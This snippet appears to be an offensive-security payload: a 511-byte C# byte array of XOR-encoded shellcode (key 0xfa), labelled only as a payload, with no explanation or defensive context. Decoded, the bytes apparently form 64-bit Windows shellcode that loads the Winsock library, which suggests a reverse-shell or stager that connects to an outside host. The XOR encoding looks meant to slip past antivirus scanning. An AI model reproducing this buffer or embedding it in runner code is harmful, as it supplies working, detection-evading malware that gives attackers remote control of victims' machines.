XORed C# payload (key: 0xfa):
byte[] buf = new byte[511] {
0x06, 0xb2, 0x79, 0x1e, 0x0a, 0x12, 0x36, 0xfa, 0xfa, 0xfa, 0xbb, 0xab, 0xbb, 0xaa, 0xa8,
0xab, 0xb2, 0xcb, 0x28, 0xac, 0x9f, 0xb2, 0x71, 0xa8, 0x9a, 0xb2, 0x71, 0xa8, 0xe2, 0xb2,
0x71, 0xa8, 0xda, 0xb7, 0xcb, 0x33, 0xb2, 0x71, 0x88, 0xaa, 0xb2, 0xf5, 0x4d, 0xb0, 0xb0,
0xb2, 0xcb, 0x3a, 0x56, 0xc6, 0x9b, 0x86, 0xf8, 0xd6, 0xda, 0xbb, 0x3b, 0x33, 0xf7, 0xbb,
0xfb, 0x3b, 0x18, 0x17, 0xa8, 0xb2, 0x71, 0xa8, 0xda, 0xbb, 0xab, 0x71, 0xb8, 0xc6, 0xb2,
0xfb, 0x2a, 0x9c, 0x7b, 0x82, 0xe2, 0xf1, 0xf8, 0xf5, 0x7f, 0x88, 0xfa, 0xfa, 0xfa, 0x71,
0x7a, 0x72, 0xfa, 0xfa, 0xfa, 0xb2, 0x7f, 0x3a, 0x8e, 0x9d, 0xb2, 0xfb, 0x2a, 0xaa, 0x71,
0xb2, 0xe2, 0xbe, 0x71, 0xba, 0xda, 0xb3, 0xfb, 0x2a, 0x19, 0xac, 0xb7, 0xcb, 0x33, 0xb2,
0x05, 0x33, 0xbb, 0x71, 0xce, 0x72, 0xb2, 0xfb, 0x2c, 0xb2, 0xcb, 0x3a, 0xbb, 0x3b, 0x33,
0xf7, 0x56, 0xbb, 0xfb, 0x3b, 0xc2, 0x1a, 0x8f, 0x0b, 0xb6, 0xf9, 0xb6, 0xde, 0xf2, 0xbf,
0xc3, 0x2b, 0x8f, 0x22, 0xa2, 0xbe, 0x71, 0xba, 0xde, 0xb3, 0xfb, 0x2a, 0x9c, 0xbb, 0x71,
0xf6, 0xb2, 0xbe, 0x71, 0xba, 0xe6, 0xb3, 0xfb, 0x2a, 0xbb, 0x71, 0xfe, 0x72, 0xb2, 0xfb,
0x2a, 0xbb, 0xa2, 0xbb, 0xa2, 0xa4, 0xa3, 0xa0, 0xbb, 0xa2, 0xbb, 0xa3, 0xbb, 0xa0, 0xb2,
0x79, 0x16, 0xda, 0xbb, 0xa8, 0x05, 0x1a, 0xa2, 0xbb, 0xa3, 0xa0, 0xb2, 0x71, 0xe8, 0x13,
0xb1, 0x05, 0x05, 0x05, 0xa7, 0xb3, 0x44, 0x8d, 0x89, 0xc8, 0xa5, 0xc9, 0xc8, 0xfa, 0xfa,
0xbb, 0xac, 0xb3, 0x73, 0x1c, 0xb2, 0x7b, 0x16, 0x5a, 0xfb, 0xfa, 0xfa, 0xb3, 0x73, 0x1f,
0xb3, 0x46, 0xf8, 0xfa, 0xfa, 0xaa, 0xd0, 0xff, 0x2a, 0xee, 0xbb, 0xae, 0xb3, 0x73, 0x1e,
0xb6, 0x73, 0x0b, 0xbb, 0x40, 0xb6, 0x8d, 0xdc, 0xfd, 0x05, 0x2f, 0xb6, 0x73, 0x10, 0x92,
0xfb, 0xfb, 0xfa, 0xfa, 0xa3, 0xbb, 0x40, 0xd3, 0x7a, 0x91, 0xfa, 0x05, 0x2f, 0x90, 0xf0,
0xbb, 0xa4, 0xaa, 0xaa, 0xb7, 0xcb, 0x33, 0xb7, 0xcb, 0x3a, 0xb2, 0x05, 0x3a, 0xb2, 0x73,
0x38, 0xb2, 0x05, 0x3a, 0xb2, 0x73, 0x3b, 0xbb, 0x40, 0x10, 0xf5, 0x25, 0x1a, 0x05, 0x2f,
0xb2, 0x73, 0x3d, 0x90, 0xea, 0xbb, 0xa2, 0xb6, 0x73, 0x18, 0xb2, 0x73, 0x03, 0xbb, 0x40,
0x63, 0x5f, 0x8e, 0x9b, 0x05, 0x2f, 0x7f, 0x3a, 0x8e, 0xf0, 0xb3, 0x05, 0x34, 0x8f, 0x1f,
0x12, 0x69, 0xfa, 0xfa, 0xfa, 0xb2, 0x79, 0x16, 0xea, 0xb2, 0x73, 0x18, 0xb7, 0xcb, 0x33,
0x90, 0xfe, 0xbb, 0xa2, 0xb2, 0x73, 0x03, 0xbb, 0x40, 0xf8, 0x23, 0x32, 0xa5, 0x05, 0x2f,
0x79, 0x02, 0xfa, 0x84, 0xaf, 0xb2, 0x79, 0x3e, 0xda, 0xa4, 0x73, 0x0c, 0x90, 0xba, 0xbb,
0xa3, 0x92, 0xfa, 0xea, 0xfa, 0xfa, 0xbb, 0xa2, 0xb2, 0x73, 0x08, 0xb2, 0xcb, 0x33, 0xbb,
0x40, 0xa2, 0x5e, 0xa9, 0x1f, 0x05, 0x2f, 0xb2, 0x73, 0x39, 0xb3, 0x73, 0x3d, 0xb7, 0xcb,
0x33, 0xb3, 0x73, 0x0a, 0xb2, 0x73, 0x20, 0xb2, 0x73, 0x03, 0xbb, 0x40, 0xf8, 0x23, 0x32,
0xa5, 0x05, 0x2f, 0x79, 0x02, 0xfa, 0x87, 0xd2, 0xa2, 0xbb, 0xad, 0xa3, 0x92, 0xfa, 0xba,
0xfa, 0xfa, 0xbb, 0xa2, 0x90, 0xfa, 0xa0, 0xbb, 0x40, 0xf1, 0xd5, 0xf5, 0xca, 0x05, 0x2f,
0xad, 0xa3, 0xbb, 0x40, 0x8f, 0x94, 0xb7, 0x9b, 0x05, 0x2f, 0xb3, 0x05, 0x34, 0x13, 0xc6,
0x05, 0x05, 0x05, 0xb2, 0xfb, 0x39, 0xb2, 0xd3, 0x3c, 0xb2, 0x7f, 0x0c, 0x8f, 0x4e, 0xbb,
0x05, 0x1d, 0xa2, 0x90, 0xfa, 0xa3, 0x41, 0x1a, 0xe7, 0xd0, 0xf0, 0xbb, 0x73, 0x20, 0x05,
0x2f
};